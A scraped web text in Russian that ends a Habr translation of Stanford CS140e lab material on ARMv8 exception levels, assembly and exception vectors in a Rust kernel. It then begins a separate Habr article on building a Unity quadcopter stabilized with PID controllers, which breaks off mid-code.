Из описания руководства ([guide](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf): 10.4):
> Когда возникает исключение, процессор должен выполнить код обработчика, который соответствует исключению. Место в памяти, где хранится обработчик [исключения], называется вектором исключения. В архитектуре ARM векторы исключений хранятся в таблице, называемой таблицей векторов исключений. Каждый уровень исключений имеет свою собственную таблицу векторов, то есть для каждого из EL3, EL2 и EL1. Таблица содержит инструкции для выполнения, а не набор адресов [как в x86]. Каждая запись в векторной таблице имеет размер в 16 инструкций. Векторы для отдельных исключений расположены с фиксированными смещениями с начала таблицы. Виртуальный адрес каждой таблицы основывается на [специальных] векторных адресных регистрах `VBAR_EL3`, `VBAR_EL2` и `VBAR_EL1`.
Эти векторы физически расположены в памяти следующим образом:
Текущий уровень исключений при `SP = SP_EL0`
| Смещение от `VBAR_ELx` | Исключение |
| --- | --- |
| 0x000 | Synchronous exception |
| 0x080 | IRQ |
| 0x100 | FIQ |
| 0x180 | SError |
Текущий уровень исключений при `SP = SP_ELx`
| Смещение от `VBAR_ELx` | Исключение |
| --- | --- |
| 0x200 | Synchronous exception |
| 0x280 | IRQ |
| 0x300 | FIQ |
| 0x380 | SError |
Более низкий уровень исключений, на котором выполняется AArch64
| Смещение от `VBAR_ELx` | Исключение |
| --- | --- |
| 0x400 | Synchronous exception |
| 0x480 | IRQ |
| 0x500 | FIQ |
| 0x580 | SError |
Более низкий уровень исключений, на котором выполняется AArch32
| Смещение от `VBAR_ELx` | Исключение |
| --- | --- |
| 0x600 | Synchronous exception |
| 0x680 | IRQ |
| 0x700 | FIQ |
| 0x780 | SError |
#### Резюме
На текущий момент это всё, что нам следует знать об архитектуре ARMv8. Прежде чем продолжить, постарайтесь ответить на эти вопросы. Для самопроверки.
> **Какие есть псевдонимы у регистра `x30`?** [arm-x30]
>
>
>
> Если мы запишем `0xFFFF` в регистр `x30`, то какие два других имени этого регистра мы можем использовать для извлечения этого значения?
>
>
>
> **Как можно поменять значение PC на определённый адрес?** [arm-pc]
>
>
>
> Как можно установить PC на адрес `A` при помощи инструкции `ret`? Как установить PC на адрес `A` при помощи инструкции `eret`? Укажите, какие регистры вы будете изменять для того, чтоб этого достичь.
>
>
>
> **Каким образом можно определить текущий уровень исключений?** [arm-el]
>
>
>
> Какие именно инструкции вы бы выполнили для определения текущего уровня исключения?
>
>
>
> **Как бы вы изменили указатель стека на возврат исключения?** [arm-sp-el]
>
>
>
> Указатель стека запущенной программы равен `A` в момент возникновения исключения. После обработки исключения вы хотите вернуться обратно туда, где выполнялась программа, но хотите изменить указатель стека на `B`. Как вы это сделаете?
>
>
>
> **Какой вектор используется для системных вызовов из более низкого EL?** [arm-svc]
>
>
>
> Пользовательский процесс выполняется на EL0. Этот процесс вызывает `svc`. По какому адресу будет передано управление?
>
>
>
> **Какой вектор используется для прерываний из более низкого EL?** [arm-int]
>
>
>
> Пользовательский процесс выполняется на EL0. В этот момент возникает прерывание таймера. По какому адресу будет передано управление?
>
>
>
> **Каким образом можно включить обработку IRQ исключений?** [arm-mask]
>
>
>
> В какой регистр какие значения надо записать для того, чтоб разблокировать прерывания IRQ?
>
>
>
> **Каким образом вы бы использовали `eret` для включения режима AArch32?** [arm-aarch32]
>
>
>
> Источником исключения является AArch64. Обработчик этого исключения тоже на AArch64. Какие значения в каких регистрах вы бы изменили для того, чтоб при возврате из исключения через `eret` проц переключился в режим выполнения AArch32?
>
> **Подсказка**: смотреть ([guide](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf): 10.1)
### Субфаза B: Инструкции ассемблера
В этой подфазе мы изучим самые базовые команды из набора команд ARMv8. Писать код прямо сейчас не будем, но тут есть парочка вопросов для самопроверки.
#### Доступ к памяти
ARMv8 — это набор инструкций загрузки/хранения RISC (компьютер с сокращённым набором команд). Определяющей особенностью такого набора команд можно назвать тот маленький факт, что доступ к памяти может осуществляться только через чётко определённые инструкции. В частности память можно читать только путём считывания в регистр инструкцией загрузки, а записывать только инструкцией сохранения.
Существует множество инструкций для загрузки/выгрузки (load/store) в различных вариациях (по большей части они однотипны). Начнём с самой простой формы:
* `ldr , []`: загружает значение из адреса в .
* `str , []`: сохраняет значение по адресу из .
Регистр называется *базовым регистром*. Например если `r3 = 0x1234`, то:
```
ldr r0, [r3] // r0 = *r3 (то есть, r0 = *(0x1234))
str r0, [r3] // *r3 = r0 (то есть, *(0x1234) = r0)
```
Кроме этого можно добавить смещение из промежутка `[-256, 255]`:
```
ldr r0, [r3, #64] // r0 = *(r3 + 64)
str r0, [r3, #-12] // *(r3 - 12) = r0
```
Вы также можете указать пост-индекс, который изменит значение в базовом регистре *после* применения загрузки или сохранения:
```
ldr r0, [r3], #30 // r0 = *r3; r3 += 30
str r0, [r3], #-12 // *r3 = r0; r3 -= 12
```
Или пре-индекс, который изменит значение в базовом регистре *перед* применения загрузки или сохранения:
```
ldr r0, [r3, #30]! // r3 += 30; r0 = *r3
str r0, [r3, #-12]! // r3 -= 12; *r3 = r0
```
Смещение, пост-индекс и пре-индекс, они известны как *режимы адресации*.
Помимо этого есть ещё команда, которая может загружать/выгружать сразу два регистра. Инструкции `ldp` и `stp` (load pair, store pair). Эти инструкции можно использовать с теми же режимами адресации, что и `ldr` и `str`.
```
// кладём `x0` и `x1` на стек. после этой операции стек будет:
//
// |------|
```
#### Непосредственная загрузка значений
Непосредственное (immediate) значение — это другое имя для целого числа, значение которого известно безо всяких вычислений. Для того, чтоб загрузить (например) 16 бит immediate в регистр, опционально сдвинув его на некоторое количество бит влево, нам нужна команда `mov` (move). Для того, чтоб загрузить те же самые 16 бит со сдвигом, но без замены остальных бит, нам потребуется `movk` (move/keep). Вот пример использования всего этого:
```
mov x0, #0xABCD, LSL #32 // x0 = 0xABCD00000000
mov x0, #0x1234, LSL #16 // x0 = 0x12340000
mov x1, #0xBEEF // x1 = 0xBEEF
movk x1, #0xDEAD, LSL #16 // x1 = 0xDEADBEEF
movk x1, #0xF00D, LSL #32 // x1 = 0xF00DDEADBEEF
movk x1, #0xFEED, LSL #48 // x1 = 0xFEEDF00DDEADBEEF
```
Обратите внимание, что сами загружаемые значения имеют префикс `#`. `LSL` при этом всём обозначает сдвиг влево.
В регистр может быть загружено только 16 бит с опциональным сдвигом. Кстати ассемблер может во многих случаях сам определить необходимый сдвиг. Например автоматически заменить `mov x12, #(1 << 21)` на `mov x12, 0x20, LSL #16`.
#### Загрузка адресов из меток
Секции в ассемблере можно пометить метками в форме `:`:
```
add_30:
add x1, x1, #10
add x1, x1, #20
```
Для того, чтоб загрузить адрес первой инструкции после метки, можно использовать инструкции `adr` или `ldr`:
```
adr x0, add_30 // x0 = адрес первой инструкции после add_30
ldr x0, =add_30 // x0 = адрес первой инструкции после add_30
```
Вы *должны* использовать `ldr` если метка не находится в той же секции компоновщика. В противном случае следует использовать `adr`.
#### Перемещение данных между регистрами
Для того, чтоб перемещать данные между регистрами, следует использовать уже знакомую нам инструкцию `mov`:
```
mov x13, #23 // x13 = 23
mov sp, x13 // sp = 23, x13 = 23
```
#### Работа со специальными регистрами
Специальные и системные регистры вроде `ELR_EL1` могут быть записаны/прочитаны только через регистры общего назначения и только используя специальные инструкции `mrs` и `msr`.
Для того, чтоб записать в спец-регистр надо использовать `msr`:
```
msr ELR_EL1, x1 // ELR_EL1 = x1
```
Для чтения из спец-регистра использовать `mrs`:
```
mrs x0, CurrentEL // x0 = CurrentEL
```
#### Арифметика
Для простейших арифметических действий нам на текущий момент будет достаточно инструкций `add` и `sub`:
```
add **// dest = a + b
sub **// dest = a - b****
```
Для примера:
```
mov x2, #24
mov x3, #36
add x1, x2, x3 // x1 = 24 + 36 = 60
sub x4, x3, x2 // x4 = 36 - 24 = 12
```
При этом вместо параметра можно использовать непосредственное значение:
```
sub sp, sp, #120 // sp -= 120
add x3, x1, #120 // x3 = x1 + 120
add x3, x3, #88 // x3 += 88
```
#### Логические инструкции
Инструкции `and` и `orr` используются для битовых операций `AND` и `OR`. Эквивалентно `add` и `sub`:
```
mov x1, 0b11001
mov x2, 0b10101
and x3, x1, x2 // x3 = x1 & x2 = 0b10001
orr x3, x1, x2 // x3 = x1 | x2 = 0b11101
orr x1, x1, x2 // x1 |= x2
and x2, x2, x1 // x2 &= x1
and x1, x1, #0b110 // x1 &= 0b110
orr x1, x1, #0b101 // x1 |= 0b101
```
#### Ветвление
Ветвление (Branching) — еще один термин для перехода на адрес. Оно изменяет PC на переданный адрес или на адрес метки. Для того, чтоб перейти без условий к какой либо метке используется инструкция `b`:
```
b label // jump to label
```
Чтобы перейти к метке при сохранении следующего адреса в реестре ссылок (`lr`), используйте `bl`. Команда `ret` перескакивает на адрес из `lr`:
```
my_function:
add x0, x0, x1
ret
mov x0, #4
mov x1, #30
bl my_function // lr = адрес инструкции `mov x3, x0`
mov x3, x0 // x3 = x0 = 4 + 30 = 34
```
Команды `br` и `blr` аналогичны `b` и `bl` соответственно, но переходят к адресу, содержащемуся в регистре:
```
ldr x0, =label
blr x0 // идентично bl label
br x0 // идентично b label
```
#### Условное ветвление
Инструкция `cmp` может использоваться для сравнения двух регистров или регистра и значения. Она устанавливает все необходимые флаги для последующего применения таких инструкций, как `bne` (branch not equal), `beq` (branch if equal), `blt` (branch if less than) и т.д. ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): C1.2.4)
```
// добавлять 1 к x0 до тех пор, пока он не станет равным x1,
// затем вызвать `function_when_eq`, и выйти
not_equal:
add x0, x0, #1
cmp x0, x1
bne not_equal
bl function_when_eq
exit:
...
// вызывается когда x0 == x1
function_when_eq:
ret
```
Используя значение:
```
cmp x1, #0
beq x1_is_eq_to_zero
```
Обратите внимание: если ветвление не сработало, то выполнение просто продолжается со следующей инструкции.
#### Обобщение
В наборе команд ARMv8 имеется еще много инструкций. Вы уже знаете самые основные и этого будет достаточно для того, чтоб легко разобраться с большинством остальных инструкций. Инструкции описаны в ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): C1.2.4). Для краткой справки приведенных выше инструкций см. Эту [ISA-шпаргалку](https://web.stanford.edu/class/cs140e/docs/AArch64-ISA-Cheat-Sheet.pdf) от Griffin Dietz. Прежде чем продолжить, ответьте на парочку вопросов во имя самопроверки:
> **Как вы могли бы написать `memcpy` на ассемблере ARMv8?** [arm-memcpy]
>
>
>
> Предположим, что исходный адрес лежит в `x0`, адрес того, куда класть в `x1`, а количество байт в `x2` (гарантировано больше нуля и делится на 8 нацело). Каким образом вы реализовали бы `memcpy`? Убедитесь, что выполните в конце `ret`
>
> **Подсказка**: Эту функцию можно реализовать за 6-7 строк ассемблерного кода.
>
>
>
> **Как вы будете записывать значение `0xABCDE` в `ELR_EL1`?** [arm-movk]
>
>
>
> Предположим, что прога запущена в `EL1`, как бы вы написали сразу `0xABCDE` в регистр `ELR_EL1` с помощью сборки ARMv8?
>
> **Подсказка**: Понадобится три инструкции.
>
>
>
> **Что делает инструкция `cbz`?** [arm-cbz]
>
>
>
> Прочитайте документацию по инструкции `cbz` ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): C6.2.36). Что эта инструкция делает? Для чего её можно использовать?
>
>
>
> **Что делает `init.S`?** [asm-init]
>
>
>
> Файлик `os/kernel/ext/init.S` — это часть ядра, которая запускается перед всеми остальными. В частности символ `_start` будет находится по адресу `0x80000` после всей инициализации прошивки малинки. Чуть позже мы пофиксим этот файлик для того, чтоб он переключался на EL1 и настраивал векторы исключений.
>
>
>
> Прочитайте файлик `os/kernel/ext/init.S` примерно до `context_save`. Затем для каждого комментария в файле, указывающего на то, как что-то работает, объясните, что делает этот код. Например для объяснения двух комментариев (“read cpu affinity”, “core affinity != 0”) мы можем сказать что-то такое:
>
>
>
> Первые два бита регистра `MPIDR_EL1` ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D7.2.74) считываются (`Aff0`), что даёт нам номер ядра, которое в данный момент выполняет наш код. Если это число равно нулю — переходим к `setup`. Иначе ядро мы усыпляем ядро с помощью `wfe` для сохранения энергии.
>
> **Подсказка**: Обратитесь к мануалу за любой инструкцией / регистром, с которыми вы еще не знакомы.
### Субфаза C: Переключение в EL1
В этой подфазе мы будем писать ассемблерный код для переключения из EL2 в EL1. Основная работа идёт в файлах `os/kernel/ext/init.S` и `os/kernel/src/kmain.rs`. Рекомендуется переходить к этой подфазе только после того, как вы ответили на вопросы предыдущих подфаз.
#### Текущий уровень исключений
Нами уже дописаны некоторые функции в модуле `aarch64` (`os/kernel/src/aarch64.rs`), которые используют внутри себя [встраивание ассемблера](https://doc.rust-lang.org/unstable-book/language-features/asm.html) для доступа к низкоуровневым сведениям о системе. Например функция `sp()` позволяет в любой момент времени извлекать текущий указатель стека. Или функция `current_el()`, которая возвращает текущий уровень исключений. Мы уже упоминали, что проц будет работать в EL2 при старте ядра. Подтвердите так ли это, отпечатав в `kmain()` текущий уровень исключений. Обратите внимание, что для вызова `current_el()` требуется `unsafe`. Мы уберём этот вызов, когда убедимся, что успешно перешли на уровень EL1.
#### Переключение
Допишите немного ассемблерного кода, чтоб переключиться на EL1. Найдите вот эту строчку в `os/kernel/ext/init.S`:
```
// FIXME: Return to EL1 at `set_stack`.
```
Сразу после неё есть парочка инструкций ассемблера:
```
mov x2, #0x3c5
msr SPSR_EL2, x2
```
Из предыдущей подфазы вы должны знать, что они делают. В частности, вы должны знать, какие биты надо установить у `SPSR_EL2` и каковы будут последствия этого после вызова `eret`.
Допишите код переключения, заменив `FIXME` на правильные инструкции. Убедитесь, что проц корректно переходит на EL1 CPU и прыгает к `set_stack`, после чего продолжается настройка ядра. Для завершения кода вам понадобится ровно три инструкции. Напомним, что единственный способ уменьшить уровень исключения — через `eret`. После завершения убедитесь, что `current_el()` теперь возвращает `1`.
> **Подсказка**: Какой регистр используется для установки PC при возврате из исключения?
### Субфаза D: Векторы исключений
В этой подфазе мы установим и настроим векторы исключений и обработчики этих самых исключений. Это будет первым шагом к тому, чтоб наше ядрышко могло обрабатывать произвольные исключения и прерывания. Вы проверите свой код обработки этого всего, написав минималистичный отладчик, который запускается в ответ на `brk #n`. Основная работа в файлике `kernel/ext/init.S` и каталоге `kernel/src/traps`.
#### Обзор
Напомним, что таблица векторов исключений состоит из 16 векторов, где каждый вектор представляет собой серию не более 16 команд. Мы выделили пространство в `init.S` для этих векторов и поместили метку `_vectors` в базу таблицы. Ваша задача состоит в том, чтобы заполнить таблицу 16 векторами таким образом, чтобы в конечном итоге функция `handle_exception` Rust в `kernel/src/traps/mod.rs` вызывалась с соответствующими аргументами при возникновении исключения. Все исключения будут перенаправлены на функцию `handle_exception`. Функция определит, почему произошло исключение, и отправит исключение для обработчиков более высокого уровня по мере необходимости.
#### Соглашения о вызовах
Чтобы правильно вызвать функцию `handle_exception`, объявленную в Rust, мы должны знать, как функция будет вызвана. В частности, мы должны знать, где функция должна ожидать найти значения для своих параметров `info`, `esr` и `tf`, что она обещает о состоянии машины после вызова функции и как она возвратит управление.
Эта проблема знания вызова внешних функций возникает всякий раз, когда один язык вызывает другой (как в лабе 2 между C и Rust). Вместо того, чтоб изучать, как этим всем занимается каждый отдельный ЯП, используются стандарты и соглашения о вызовах. Соглашение о вызовах или стандарт вызовов процедур — это набор правил, который определяет следующее:
* **Как передать параметры функции.** На AArch64 первые 8 параметров передаются через регистры `r0`… `r7` в прямом порядке слева направо.
* **Как вернуть значения из функции.** На AArch64 первые 8 возвращаемых значений передаются через регистры `r0`… `r7`.
* **Какое состояние (регистры, стек и т.д.) функция должна сохранять.**
Регистры обычно разделяют на *caller-saved* или *callee-saved*.
*caller-saved* — не гарантируются к сохранению после вызова функции. Таким образом, если caller требует сохранения значения в регистре, он должен сохранить значение регистра перед вызовом функции.
И наоборот. *callee-saved* — гарантируется сохранение во время вызова. Т.е. вызванная функция должна заботиться об этих регистрах и возвращать их в том же виде, в каком они были ей переданы.
Значения регистров обычно сохраняются и восстанавливаются с использованием стека.
На AArch64 регистры `r19`...`r29` и `SP` — *callee-saved*. Остальные — *caller-saved*. Обратите внимание, что `lr` (`x30`) тоже входит сюда. SIMD/FP регистры имеют нетривиальные правила по части сохранения. Для наших целей достаточно будет сказать, что они тоже *caller-saved*.
* **Как передавать управление обратно.** На AArch64 есть регистр `lr`, который содержит ссылку на обратный адрес. Инструкция `ret` переходит по адресу из `lr`.
В AArch64 все эти соглашения в развёрнутом виде можно почитать в ([guide](https://web.stanford.edu/class/cs140e/docs/ARMv8-A-Programmer-Guide.pdf): 9) и в [procedure call standard](https://web.stanford.edu/class/cs140e/docs/AArch64-Procedure-Call-Standard.pdf). Когда вы вызываете
Rust-функцию `handle_exception` из ассемблера, вам нужно убедиться, что вы следуете всем этим соглашениям.
> **Как Rust узнаёт, какое соглашение использовать?**
>
>
>
> Если строго придерживаться соглашениям о вызовах, то это исключает все виды оптимизаций с вызовами функций. В результате по умолчанию функции Rust не гарантируют соответствия каким бы то ни было соглашениям о вызовах. Для того, чтоб заставить Rust использовать при компиляции некой функции соглашения платформы, требуется добавить этой функции квалификатор `extern`. Мы уже объявили `handle_exception` как `extern` поэтому мы можем быть уверены, что Rust скомпилирует функцию ожидаемым образом.
#### Таблица векторов
Для того, чтоб помочь вам заполнить таблицу векторов, мы предоставили макрос~~с~~ `HANDLER(source, kind)`, который содержит в себе последовательность из шести инструкций и необходимые пометки о выравнивании. Когда `HANDLER(a, b)` используется как "инструкция", он раскрывается до тех строчек, которые следуют за `#define`. Т.е. вот такая запись:
```
_vectors:
HANDLER(32, 39)
```
Станет вот такой:
```
_vectors:
.align 7
stp lr, x0, [SP, #-16]!
mov x0, #32
movk x0, #39, LSL #16
bl context_save
ldp lr, x0, [SP], #16
eret
```
Этот код сохраняет `lr` и `x0` на стеке и создаёт в `x0` 32-битное значение из 16 бит на `source` и 16 бит на `kind`. Затем вызывается `context_save`, объявленная перед `_vectors`. После того, как функция отдаёт управление, `lr` и `x0` восстанавливаются из стека и в конце происходит выход из исключения.
Функция `context_save` в данный момент ничего не делает. Просто проваливается до `ret` из `context_restore`. Чуть позже мы изменим `context_save` для того, чтоб она правильно вызывала функцию из Rust.
#### Syndrome
Когда возникает *синхронное* исключение (исключение, вызванное выполнением или попыткой выполнения инструкции), проц устанавливает значение в регистре синдрома (`ESR_ELx`) который описывает причину этого исключения ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D1.10.4). Структуры для обработки этого уже можно найти в `kernel/src/traps/syndrome.rs`. Там же есть некоторые заготовки для анализа значения синдрома для создания `Syndrome`-перечисления. Чуть позже вам предстоит написать код, который передаёт значение `ESR_ELx` в Rust как параметр `esr`. Затем использовать `Sydnrome::from(esr)` для разбора того, чтоб определить, что дальше то делать.
#### Info
Функция `handle_exception` принимает в качестве первого параметра структуру `Info`. Эта структура имеет два поля по 16 бит: `source` и `kind`. Как вы могли догадаться, это 32-битное значение, которое макрос `HANDLE` устанавливает в `x0`. Вам нужно будет убедиться, что вы используете правильные `HANDLE`-вызовы для правильных записей, чтобы структура `Info` была правильно создана.
#### Реализация
Теперь вы готовы написать минимальный код обработки исключений. Первое исключение, которое мы будем обрабатывать — `brk`, т.е. точка останова. Когда возникает такое исключение, нам надо запустить интерактивную оболочку, которая теоретически позволит нам исследовать состояние машины на этот момент.
Для начала давайте вставим вызов `brk` в `kmain`. Используя [ассемблерную вставку](https://doc.rust-lang.org/unstable-book/language-features/asm.html) вроде такой:
```
unsafe { asm!("brk 2" :::: "volatile"); }
```
Дальше действуем следующим образом:
1. **Заполняем таблицу `_vectors` с использованием макроса `HANDLE`.** Убедитесь, что ваши записи будут правильно создавать структуру `Info`.
2. **Вызываем `handle_exception` из `context_save`**.
Убедитесь, что сохранили/восстановили все caller-saved регистры по мере необходимости и передали соответствующие параметры. Вы должны использовать от 5 до 9 инструкций. На данный момент можно передавать `0` вместо параметра `tf`. Этот параметр мы будем использовать позже.
Обратите внимание. AArch64 требует, чтоб `SP` был выровнен по 16 байт всякий раз, когда его используют для загрузки/восстановления. Убедитесь, что выполняете это требование.
3. **Настройте регистр `VBAR`, пользуясь пометкой в коде:**
```
// FIXME: load `_vectors` addr into appropriate register (guide: 10.4)
```
4. **На этом этапе `handle_exception` должна вызываться всякий раз, когда возникает исключение.**
В `handle_exception` напечатайте значение параметров `info` и `esr` и убедитесь, что они являются тем, что вы ожидаете. Затем поставьте бесконечный цикл. Для того, чтоб убедиться, что цикл не удалён оптимизацией, туда можно поставить `aarch64::nop()`. Нам нужно будет написать больше кода для правильного возврата из обработчика исключений, поэтому мы просто будем блокировать всё и вся на данный момент. Мы исправим это в следующей подфазе.
5. **Реализуйте методы `Syndrome::from()` и `Fault::from()`.**
При этом первый метод должен вызывать второй. Вам нужно будет обратиться к ([ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): D1.10.4, [ref](https://web.stanford.edu/class/cs140e/docs/ARMv8-Reference-Manual.pdf): Table D1-8) для того, чтоб реализовать всё корректно. Нажмите на “ISS encoding description” в таблице для того, чтоб посмотреть подробную информацию, как декодировать синдром для определённого класса исключений. Например вы должны убедиться, что синдром для `brk 12` декодируется как `Syndrome::Brk(12)`, а для `svc 77` декодируется как `Syndrome::Svc(77)`. Обратите внимание, что мы исключили 32-битные варианты некоторых исключений и объединили исключения, когда они идентичны, но встречаются с разными классами исключений.
6. **Запустите оболочку при возникновении исключения `brk`.**
Используйте метод `Syndrome::from()` в `handle_exception` для того, чтоб обнаружить исключение `brk`. Когда возникает такое исключение, запустите оболочку. Вы можете использовать другой префикс оболочки для разграничения между оболочками. Обратите внимание, что для синхронных исключений вы должны вызывать `Syndrome::from()`. В противном случае регистр `ESR_ELx` не будет содержать действительное значение.
На этом этапе вам также потребуется изменить оболочку и реализовать команду `exit`. Когда в оболочке вызывается `exit`, оная должна завершить цикл и возвратить управление. Это позволит нам позже выходить из исключения `brk`. Вместе с подобным изменением вам возможно потребуется обернуть вызов `shell()` из `kmain` в `loop { }` для того, чтоб предотвратить сбои ядра.
Как только вы закончите, инструкция `brk 2` в `kmain` должна вызывать исключение с синдромом `Brk(2)`, source, равным `CurrentSpElx` и kind равным `Synchronous`. На этом этапе должна вызываться отладочная оболочка. Когда вызывается команда оболочки `exit`, оболочка должна прекратить работу и обработчик исключений должен проваливаться в бесконечный цикл.
Прежде чем продолжить, вы должны убедиться, что вы правильно определяете другие синхронные исключения. Вы должны попробовать вызвать другие инструкции, вызывающие исключение, такие как `svc 3`. Вы также должны попытаться целенаправленно создать прерывание данных или команд, перейдя на адрес за пределами диапазона физической памяти.
Как только все будет работать так, как вы ожидали, вы готовы перейти к следующему этапу.
**UPD**: [следующая часть](https://habr.com/post/354784/)
|
https://habr.com/ru/post/353994/
| null |
ru
| null |
# Виртуальный квадрокоптер на Unity + OpenCV (Часть 1)
Доброго времени суток, дорогие хабравчане!
Что нам стоит дом построить? Нарисуем — будем жить. В этой серии статей я хотел бы поделится опытом строительства (и рассказать как) виртуального квадрокоптера в Unity. А также получить ценные советы от коллективного разума хабра :) Виртуального дрона я задумал с целью тестирования существующих алгоритмов компьютерного зрения, а также их приложения в навигации коптеров. С 5й версии в Unity есть возможность писать C++ плагины, то есть имеется возможность применить ~~всю коровью суперсилу~~ все возможности сторонних C/C++ библиотек, таких как OpenCV, чем я, собственно, и собираюсь заняться. Да, реальный мир намного сложнее Unity. Но мне хочется верить, что использование такого симулятора может послужить хорошим начальным приближением для разработки искусственного интеллекта дрона. Если вам интересно, то добро пожаловать под кат.
В части 1 мы будем создавать свой виртуальный квадрокоптер в Unity и стабилизировать его PID регуляторами. Подключение OpenCV будет в части 2. В части 3 планируется потестировать алгоритм плотной 3D реконструкции из OpenCV. Дальше: как пойдет.
Разработку я веду в Mac OS, но так, как сами инструменты кроссплатформенны, я думаю, что это можно пробовать повторить и под другими системами. Работу в Unity я, поначалу, буду описывать подробно, чтобы можно было, ~~не отрываясь от статьи~~ по крайней мере, не часто отрываясь от статьи, воссоздавать то, что описывается. Итак приступаем. Устанавливаем и запускаем Unity, у меня версия 5.2.0f3. Создаем пустой 3D проект. Я использую лейаут по-умолчанию: меню Window -> Layouts -> Default. Далее идем в меню GameObject -> 3D Object -> Cube, у нас появился белый куб 1 x 1 x 1 в начале координат. И сейчас мы из него сделаем поверхность земли. Справа в инспекторе (Inspector) выставляем у нашего куба Scale, так чтобы он стал похож на поверхность. X: 20 Y:0.1 Z:20 (в этом же блоке можно задавть координаты и ориентацию объектов). Далее покрасим нашу поверхность в зеленый цвет: Меню Assets -> Create -> Material, задаем имя Ground — мы создали текстуру для нашей поверхности. Далее в инспекторе проекта (Project) в папке Assets мы видим только что созданную текстуру (матерьял), выбираем ее и справа в инспекторе (Main Maps -> Albedo) задаем цвет. Находим в Hierarchy нашу поверхность, если она по прежнему называется Cube, можно дать ей какое-то более адекватное имя. Накидываем драг эн дропом текстуру на нашу поверхность и вот уже она покрасилась в нужный нам цвет.
Теперь возьмемся за создание нашего квадрокоптера. Информацию о квадрокоптерах я черпал из замечательной [статьи](http://habrahabr.ru/post/227425/), в ней очень хорошо описаны базовые понятия, принцип работы и управления. Очень советую прочитать эту статью, так как здесь я не буду описывать особенностей квадрокоптеростроения, чтобы излишне не повторятся. Наш дрон будет состоять из Cube — основания, 4х Cylinder — это будут штанги для укрепления двигателей и 4х Capsule — это будут наши двигатели. Создаем в Hierarchy с помощью кнопочки Create пустой объект и называем его Quadrocopter. Правой кнопкой на нем, добавляем туда вышеперечисленные примитивы. Советую сразу делать их размерами, похожими на реальные, чтобы получить похожее на ожидаемое поведение твердых тел. В документации по Unity пишут, что их 1 — это один метр, я сделал scale основания 0.2 x 0.1 x 0.2. Укажите в комментариях более правильный путь задания размеров примитивов, я, глядя на интерфейс Unity, другого интуитивного способа не нашел. Путем манипулирования с позициями, ориентациями и размерами, получаем вот такой квадрик:
Белым цветом отмечены передние двигатели (у квадрокоптера есть перед). Запускаем, он, естественно, никуда не летит. Это нормально :) Теперь надо добавить к нашим примитивам физику. Нам также желательно объединить штанги и тело в одну неделимую раму, рама будет пустым GameObject, в который мы перенесем требуемые примитивы. Для реализации физики твердого тела используется компонент Rigidbody. Выделяем наш элемент, например раму. В инспекторе справа нажимаем Add Component -> Physics -> Rigidbody. В списке, в инспекторе, появляется Rigidbody. Добавим его и на двигатели. Запускаем, все падает и разваливается — это нормально, теперь у нас есть физика.
Чтобы все не разваливалось добавим Add Component -> Physics -> Fixed Joint в составляющие нашего квадрокоптера. Этот компонент будет реализовывать жесткую связь. Параметром Connected Body указываем на объект, к которому хотим привязаться. Привязываем двигателей к раме. И вот теперь у нас ничего не разваливается, просто падает как есть.
Теперь надо добавить мощности в наши двигатели. Для этого мы будем использовать нехитрый C# скрипт. Идем в Assets Create -> C# Script, назовем его motorScript.
```
using UnityEngine;
using System.Collections;
public class motorScript : MonoBehaviour {
public float power = 0.0f;
void FixedUpdate () {
GetComponent ().AddRelativeForce (0, power, 0);
}
}
```
Потом выбираем двигатель и делаем Add Component -> Scripts -> Motor Script. У нашего скрипта есть параметр power — это сила нашего мотора. Можно задать для каждого мотора, например, значение 2 и мы увидим, что наш квадрик падает теперь не так быстро: двигатели работают. Теперь осталось стабилизировать наш квадрокоптер, чтобы иметь возможность задавать извне ему углы поворота и он мог их держать. Для этого создадим скрипт quadrocopterScript.cs. Стабилизация квадрокоптера осуществляется PID регуляторами. Для более подробной информации об этом процессе посмотрите [вышеуказанную статью](http://habrahabr.ru/post/227425/). Для каждого угла нам будет необходим свой PID регулятор, в итоге нам необходимо 3 независимых регулятора. Ниже привожу код скрипта. Но сначала упомяну про один нюанс. Рыскание в квадрокоптере реализуется за счет моментов двигателей. Они могут поворачивать всю конструкцию, но в Unity этого почему-то не происходит, несмотря на то, что я пробовал добавлять GetComponent ().AddRelativeTorque в скрипт двигателя. В итоге пришел к тому, что нужно просто немного (на 10 градусов) повернуть двигатели относительно осей штанг так, чтобы передние двигатели были повернуты друг к другу, так же и задние. Это нужно чтобы угловой момент всей конструкции при одинаковой мощности двигателей гасился. Итак наш скрипт квадрокоптера:
```
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System;
public class quadrocopterScript : MonoBehaviour {
//фактические параметры
private double pitch; //Тангаж
private double roll; //Крен
private double yaw; //Рыскание
public double throttle; //Газ, газ мы задаем извне, поэтому он public
//требуемые параметры
public double targetPitch;
public double targetRoll;
public double targetYaw;
//PID регуляторы, которые будут стабилизировать углы
//каждому углу свой регулятор, класс PID определен ниже
//константы подобраны на глаз :) пробуйте свои значения
private PID pitchPID = new PID (100, 0, 20);
private PID rollPID = new PID (100, 0, 20);
private PID yawPID = new PID (50, 0, 50);
void readRotation () {
//фактическая ориентация нашего квадрокоптера,
//в реальном квадрокоптере эти данные необходимо получать
//из акселерометра-гироскопа-магнетометра, так же как делает это ваш
//смартфон
Vector3 rot = GameObject.Find ("Frame").GetComponent ().rotation.eulerAngles;
pitch = rot.x;
yaw = rot.y;
roll = rot.z;
}
//функция стабилизации квадрокоптера
//с помощью PID регуляторов мы настраиваем
//мощность наших моторов так, чтобы углы приняли нужные нам значения
void stabilize () {
//нам необходимо посчитать разность между требуемым углом и текущим
//эта разность должна лежать в промежутке [-180, 180] чтобы обеспечить
//правильную работу PID регуляторов, так как нет смысла поворачивать на 350
//градусов, когда можно повернуть на -10
double dPitch = targetPitch - pitch;
double dRoll = targetRoll - roll;
double dYaw = targetYaw - yaw;
dPitch -= Math.Ceiling (Math.Floor (dPitch / 180.0) / 2.0) \* 360.0;
dRoll -= Math.Ceiling (Math.Floor (dRoll / 180.0) / 2.0) \* 360.0;
